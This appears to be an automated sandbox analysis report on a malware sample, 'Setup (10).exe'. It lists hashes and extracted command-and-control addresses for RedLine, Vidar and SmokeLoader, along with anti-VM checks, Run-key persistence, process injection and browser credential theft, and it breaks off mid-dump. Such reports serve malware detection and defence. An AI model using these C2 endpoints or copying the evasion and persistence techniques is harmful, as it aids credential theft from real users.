Overview
overview
10Static
static
Setup (1).exe
windows7_x64
10Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
10Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
10Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
10Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
10Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
01-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 1029-08-2021 11:37
210829-18htk4slyj 10Analysis
-
max time kernel
133s -
max time network
1811s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
23-08-2021 20:40
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210408
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210408
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210408
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210408
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210408
Behavioral task
behavioral32
Sample
Setup (23).exe
Resource
win10v20210410
General
-
Target
Setup (10).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
redline
1
37.0.8.88:44263
Extracted
vidar
40.1
995
https://eduarroma.tumblr.com/
-
profile_id
995
Extracted
vidar
40.1
937
https://eduarroma.tumblr.com/
-
profile_id
937
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6756 6672 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8576 6672 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5724 6672 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 11 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\Loq3AVs9wso1zADq8dM2HHOF.exe family_redline C:\Users\Admin\Documents\B_YbxasUtl1jnMcVoRySTtje.exe family_redline C:\Users\Admin\Documents\B_YbxasUtl1jnMcVoRySTtje.exe family_redline behavioral4/memory/4184-303-0x0000000000400000-0x0000000000448000-memory.dmp family_redline behavioral4/memory/4224-310-0x000000000041A616-mapping.dmp family_redline behavioral4/memory/4184-309-0x000000000041A5EA-mapping.dmp family_redline C:\Users\Admin\Documents\Loq3AVs9wso1zADq8dM2HHOF.exe family_redline C:\Users\Admin\Documents\7N18Swi2c4EvxEuALZTDAD6D.exe family_redline C:\Users\Admin\Documents\Aji7CNkgBMp8eKDMVRatNDnG.exe family_redline C:\Users\Admin\Documents\Aji7CNkgBMp8eKDMVRatNDnG.exe family_redline C:\Users\Admin\Documents\7N18Swi2c4EvxEuALZTDAD6D.exe family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 2672 created 2228 2672 WerFault.exe 0Hkpl0Iw7Mn20xJs3Ps82T2i.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
Processes:
resource yara_rule behavioral4/memory/3352-336-0x0000000003F00000-0x0000000003F9D000-memory.dmp family_vidar behavioral4/memory/3352-351-0x0000000000400000-0x00000000023FF000-memory.dmp family_vidar behavioral4/memory/3132-353-0x0000000000400000-0x0000000002402000-memory.dmp family_vidar -
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 60 IoCs
Processes:
XdjL6yzZHShtyEPNfpV549it.exeR4rti5DXgX_wYdR7n2_3oes8.exeDZftA2E8Bh_1MqEcJ6qHxpWB.exedyTbPPBY7gNKpe9rTNEJspF0.exeVPN.exe0nnIFdWES_5dFLY2guuShEdd.exejfiag3g_gg.exe7N18Swi2c4EvxEuALZTDAD6D.exeUgrQUka2EU4b323SkBEyTfb2.exeAji7CNkgBMp8eKDMVRatNDnG.exetci8fJVPClxut85W6CsUQWF2.exeqrh_NoLKUDe4UPCsqKqb3BYG.exeuduZnq_SfO6OCYw2jLY9dfaB.exe0Hkpl0Iw7Mn20xJs3Ps82T2i.exejKeoSw_ndab2HneXAIEIBNcn.exe0jCOj6N7sfaW_dPWl2hcM81w.exee1lVfvsuxo3avcfTpgbXETkY.exeHM9LwZr_tYU8wO1kKbMpGJHO.exeXCFziucQ2udCv8TEaxmX6FzW.exeB_YbxasUtl1jnMcVoRySTtje.exe0nnIFdWES_5dFLY2guuShEdd.exeHJc5BfJtlFAjO54tbi9VzWoP.exeqAWTJouZZxti9JGGCUIyR3Ba.exeLoq3AVs9wso1zADq8dM2HHOF.exebZJ2QAVlh1rZ1DO0J756VEbI.exekdvgZx5bN991EprAadyoDqJD.exegOhhDpC9KT1H4z4fWVmZn5No.exedo5eA7Qvq1tWRQV9RQuaNCUs.exedo5eA7Qvq1tWRQV9RQuaNCUs.tmpcustomer3.exemd8_8eus.exee1lVfvsuxo3avcfTpgbXETkY.exejooyu.exeqrh_NoLKUDe4UPCsqKqb3BYG.exe2_d3FVwWmTzG4WE4WQappLcP.exeZZMf4UDPsMD1hQtivqjnvHEI.exeEsplorarne.exe.comSetup.exe2997013.exe3136792.exe2133803.exeStats.exerunvd.exeInlog.exeCleaner Installation.exeZ2bT94N_CMSE.ExeWEATHER Manager.exeStats.tmpaskinstall53.exeInlog.tmpWinHoster.exeMediaBurner2.exePBrowFile15.exeDZftA2E8Bh_1MqEcJ6qHxpWB.exeLivelyScreenRecS1.9.exeEsplorarne.exe.comVPN.tmpzx4fxWoOObqEygDg9UOgrk8A.exe22222.exepid process 3352 XdjL6yzZHShtyEPNfpV549it.exe 1268 R4rti5DXgX_wYdR7n2_3oes8.exe 680 DZftA2E8Bh_1MqEcJ6qHxpWB.exe 376 dyTbPPBY7gNKpe9rTNEJspF0.exe 1076 VPN.exe 668 0nnIFdWES_5dFLY2guuShEdd.exe 2724 jfiag3g_gg.exe 3004 7N18Swi2c4EvxEuALZTDAD6D.exe 2720 UgrQUka2EU4b323SkBEyTfb2.exe 2884 Aji7CNkgBMp8eKDMVRatNDnG.exe 3900 tci8fJVPClxut85W6CsUQWF2.exe 3212 qrh_NoLKUDe4UPCsqKqb3BYG.exe 3132 uduZnq_SfO6OCYw2jLY9dfaB.exe 2228 0Hkpl0Iw7Mn20xJs3Ps82T2i.exe 2208 jKeoSw_ndab2HneXAIEIBNcn.exe 760 0jCOj6N7sfaW_dPWl2hcM81w.exe 636 e1lVfvsuxo3avcfTpgbXETkY.exe 716 HM9LwZr_tYU8wO1kKbMpGJHO.exe 3624 XCFziucQ2udCv8TEaxmX6FzW.exe 3472 B_YbxasUtl1jnMcVoRySTtje.exe 3844 0nnIFdWES_5dFLY2guuShEdd.exe 1660 HJc5BfJtlFAjO54tbi9VzWoP.exe 608 qAWTJouZZxti9JGGCUIyR3Ba.exe 4172 Loq3AVs9wso1zADq8dM2HHOF.exe 1780 bZJ2QAVlh1rZ1DO0J756VEbI.exe 4228 kdvgZx5bN991EprAadyoDqJD.exe 4344 gOhhDpC9KT1H4z4fWVmZn5No.exe 5028 do5eA7Qvq1tWRQV9RQuaNCUs.exe 960 do5eA7Qvq1tWRQV9RQuaNCUs.tmp 4236 customer3.exe 4356 md8_8eus.exe 3412 e1lVfvsuxo3avcfTpgbXETkY.exe 4360 jooyu.exe 4184 qrh_NoLKUDe4UPCsqKqb3BYG.exe 4224 2_d3FVwWmTzG4WE4WQappLcP.exe 3360 ZZMf4UDPsMD1hQtivqjnvHEI.exe 5420 Esplorarne.exe.com 5440 Setup.exe 5480 2997013.exe 5564 3136792.exe 5632 2133803.exe 5832 Stats.exe 5892 runvd.exe 5956 Inlog.exe 6008 Cleaner Installation.exe 6056 Z2bT94N_CMSE.Exe 6088 WEATHER Manager.exe 4148 Stats.tmp 1076 VPN.exe 5220 askinstall53.exe 5280 Inlog.tmp 4300 WinHoster.exe 5516 MediaBurner2.exe 5328 PBrowFile15.exe 3892 DZftA2E8Bh_1MqEcJ6qHxpWB.exe 5808 LivelyScreenRecS1.9.exe 5844 Esplorarne.exe.com 5992 VPN.tmp 6032 zx4fxWoOObqEygDg9UOgrk8A.exe 5868 22222.exe -
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Aji7CNkgBMp8eKDMVRatNDnG.exeB_YbxasUtl1jnMcVoRySTtje.exeUgrQUka2EU4b323SkBEyTfb2.exe7N18Swi2c4EvxEuALZTDAD6D.exeLoq3AVs9wso1zADq8dM2HHOF.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Aji7CNkgBMp8eKDMVRatNDnG.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion B_YbxasUtl1jnMcVoRySTtje.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion B_YbxasUtl1jnMcVoRySTtje.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion UgrQUka2EU4b323SkBEyTfb2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Aji7CNkgBMp8eKDMVRatNDnG.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7N18Swi2c4EvxEuALZTDAD6D.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Loq3AVs9wso1zADq8dM2HHOF.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Loq3AVs9wso1zADq8dM2HHOF.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion UgrQUka2EU4b323SkBEyTfb2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7N18Swi2c4EvxEuALZTDAD6D.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Setup (10).exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Setup (10).exe -
Loads dropped DLL 14 IoCs
Processes:
do5eA7Qvq1tWRQV9RQuaNCUs.tmp0jCOj6N7sfaW_dPWl2hcM81w.exeCleaner Installation.exeStats.tmpInlog.tmpEsplorarne.exe.comVPN.tmppid process 960 do5eA7Qvq1tWRQV9RQuaNCUs.tmp 960 do5eA7Qvq1tWRQV9RQuaNCUs.tmp 760 0jCOj6N7sfaW_dPWl2hcM81w.exe 760 0jCOj6N7sfaW_dPWl2hcM81w.exe 760 0jCOj6N7sfaW_dPWl2hcM81w.exe 6008 Cleaner Installation.exe 4148 Stats.tmp 4148 Stats.tmp 5280 Inlog.tmp 5280 Inlog.tmp 5844 Esplorarne.exe.com 5844 Esplorarne.exe.com 5992 VPN.tmp 5992 VPN.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Documents\Loq3AVs9wso1zADq8dM2HHOF.exe themida C:\Users\Admin\Documents\B_YbxasUtl1jnMcVoRySTtje.exe themida C:\Users\Admin\Documents\B_YbxasUtl1jnMcVoRySTtje.exe themida behavioral4/memory/3004-239-0x0000000000ED0000-0x0000000000ED1000-memory.dmp themida behavioral4/memory/2884-241-0x0000000000FB0000-0x0000000000FB1000-memory.dmp themida behavioral4/memory/4172-256-0x0000000000F70000-0x0000000000F71000-memory.dmp themida behavioral4/memory/3472-255-0x0000000000830000-0x0000000000831000-memory.dmp themida behavioral4/memory/2720-254-0x0000000000BB0000-0x0000000000BB1000-memory.dmp themida C:\Users\Admin\Documents\Loq3AVs9wso1zADq8dM2HHOF.exe themida C:\Users\Admin\Documents\UgrQUka2EU4b323SkBEyTfb2.exe themida C:\Users\Admin\Documents\7N18Swi2c4EvxEuALZTDAD6D.exe themida C:\Users\Admin\Documents\Aji7CNkgBMp8eKDMVRatNDnG.exe themida C:\Users\Admin\Documents\UgrQUka2EU4b323SkBEyTfb2.exe themida C:\Users\Admin\Documents\Aji7CNkgBMp8eKDMVRatNDnG.exe themida C:\Users\Admin\Documents\7N18Swi2c4EvxEuALZTDAD6D.exe themida -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
2997013.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 2997013.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
UgrQUka2EU4b323SkBEyTfb2.exe7N18Swi2c4EvxEuALZTDAD6D.exeAji7CNkgBMp8eKDMVRatNDnG.exeB_YbxasUtl1jnMcVoRySTtje.exeLoq3AVs9wso1zADq8dM2HHOF.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA UgrQUka2EU4b323SkBEyTfb2.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7N18Swi2c4EvxEuALZTDAD6D.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Aji7CNkgBMp8eKDMVRatNDnG.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA B_YbxasUtl1jnMcVoRySTtje.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Loq3AVs9wso1zADq8dM2HHOF.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 131 ipinfo.io 133 ipinfo.io 208 ipinfo.io 227 ipinfo.io 252 ipinfo.io 398 ipinfo.io 400 ipinfo.io 30 ipinfo.io 135 ip-api.com 225 ipinfo.io 250 ipinfo.io 29 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
7N18Swi2c4EvxEuALZTDAD6D.exeAji7CNkgBMp8eKDMVRatNDnG.exeLoq3AVs9wso1zADq8dM2HHOF.exeUgrQUka2EU4b323SkBEyTfb2.exeB_YbxasUtl1jnMcVoRySTtje.exepid process 3004 7N18Swi2c4EvxEuALZTDAD6D.exe 2884 Aji7CNkgBMp8eKDMVRatNDnG.exe 4172 Loq3AVs9wso1zADq8dM2HHOF.exe 2720 UgrQUka2EU4b323SkBEyTfb2.exe 3472 B_YbxasUtl1jnMcVoRySTtje.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
qrh_NoLKUDe4UPCsqKqb3BYG.exeVPN.exejfiag3g_gg.exedescription pid process target process PID 3212 set thread context of 4184 3212 qrh_NoLKUDe4UPCsqKqb3BYG.exe qrh_NoLKUDe4UPCsqKqb3BYG.exe PID 1076 set thread context of 4224 1076 VPN.exe 2_d3FVwWmTzG4WE4WQappLcP.exe PID 2724 set thread context of 3360 2724 jfiag3g_gg.exe ZZMf4UDPsMD1hQtivqjnvHEI.exe -
Drops file in Program Files directory 20 IoCs
Processes:
Setup.exekdvgZx5bN991EprAadyoDqJD.exedescription ioc process File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe kdvgZx5bN991EprAadyoDqJD.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe kdvgZx5bN991EprAadyoDqJD.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe Setup.exe File created C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\customer3.exe kdvgZx5bN991EprAadyoDqJD.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jooyu.exe kdvgZx5bN991EprAadyoDqJD.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini kdvgZx5bN991EprAadyoDqJD.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe Setup.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 11 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4628 376 WerFault.exe dyTbPPBY7gNKpe9rTNEJspF0.exe 4692 4344 WerFault.exe gOhhDpC9KT1H4z4fWVmZn5No.exe 2784 3844 WerFault.exe K75RN9c0vQCTFwqoqg7CbHNi.exe 5484 3844 WerFault.exe K75RN9c0vQCTFwqoqg7CbHNi.exe 3736 760 WerFault.exe 0jCOj6N7sfaW_dPWl2hcM81w.exe 5824 4344 WerFault.exe gOhhDpC9KT1H4z4fWVmZn5No.exe 5816 3844 WerFault.exe K75RN9c0vQCTFwqoqg7CbHNi.exe 5432 4344 WerFault.exe gOhhDpC9KT1H4z4fWVmZn5No.exe 5324 3844 WerFault.exe K75RN9c0vQCTFwqoqg7CbHNi.exe 2672 2228 WerFault.exe 0Hkpl0Iw7Mn20xJs3Ps82T2i.exe 4196 4344 WerFault.exe gOhhDpC9KT1H4z4fWVmZn5No.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
ZZMf4UDPsMD1hQtivqjnvHEI.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ZZMf4UDPsMD1hQtivqjnvHEI.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ZZMf4UDPsMD1hQtivqjnvHEI.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ZZMf4UDPsMD1hQtivqjnvHEI.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 6324 taskkill.exe 8044 taskkill.exe 8600 taskkill.exe -
Modifies registry class 3 IoCs
Processes:
description ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 11 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 132 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 133 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 140 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 207 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 222 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 401 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 157 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 161 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 164 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 226 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 399 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup (10).exeZZMf4UDPsMD1hQtivqjnvHEI.exeWerFault.exeWerFault.exeWerFault.exepid process 4072 Setup (10).exe 4072 Setup (10).exe 3360 ZZMf4UDPsMD1hQtivqjnvHEI.exe 3360 ZZMf4UDPsMD1hQtivqjnvHEI.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 4628 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2784 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe 2672 WerFault.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 2460 -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
ZZMf4UDPsMD1hQtivqjnvHEI.exepid process 3360 ZZMf4UDPsMD1hQtivqjnvHEI.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
dyTbPPBY7gNKpe9rTNEJspF0.exejKeoSw_ndab2HneXAIEIBNcn.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeEsplorarne.exe.comB_YbxasUtl1jnMcVoRySTtje.exe7N18Swi2c4EvxEuALZTDAD6D.exeLoq3AVs9wso1zADq8dM2HHOF.exeAji7CNkgBMp8eKDMVRatNDnG.exeUgrQUka2EU4b323SkBEyTfb2.exeEsplorarne.exe.comWerFault.exeWerFault.exeqrh_NoLKUDe4UPCsqKqb3BYG.exe2_d3FVwWmTzG4WE4WQappLcP.exeaskinstall53.exedescription pid process Token: SeDebugPrivilege 376 dyTbPPBY7gNKpe9rTNEJspF0.exe Token: SeDebugPrivilege 2208 jKeoSw_ndab2HneXAIEIBNcn.exe Token: SeRestorePrivilege 4628 WerFault.exe Token: SeBackupPrivilege 4628 WerFault.exe Token: SeDebugPrivilege 4628 WerFault.exe Token: SeDebugPrivilege 2784 WerFault.exe Token: SeDebugPrivilege 2672 WerFault.exe Token: SeDebugPrivilege 4692 WerFault.exe Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeShutdownPrivilege 2460 Token: SeCreatePagefilePrivilege 2460 Token: SeDebugPrivilege 5324 WerFault.exe Token: SeDebugPrivilege 5432 Esplorarne.exe.com Token: SeDebugPrivilege 3472 B_YbxasUtl1jnMcVoRySTtje.exe Token: SeDebugPrivilege 3004 7N18Swi2c4EvxEuALZTDAD6D.exe Token: SeDebugPrivilege 4172 Loq3AVs9wso1zADq8dM2HHOF.exe Token: 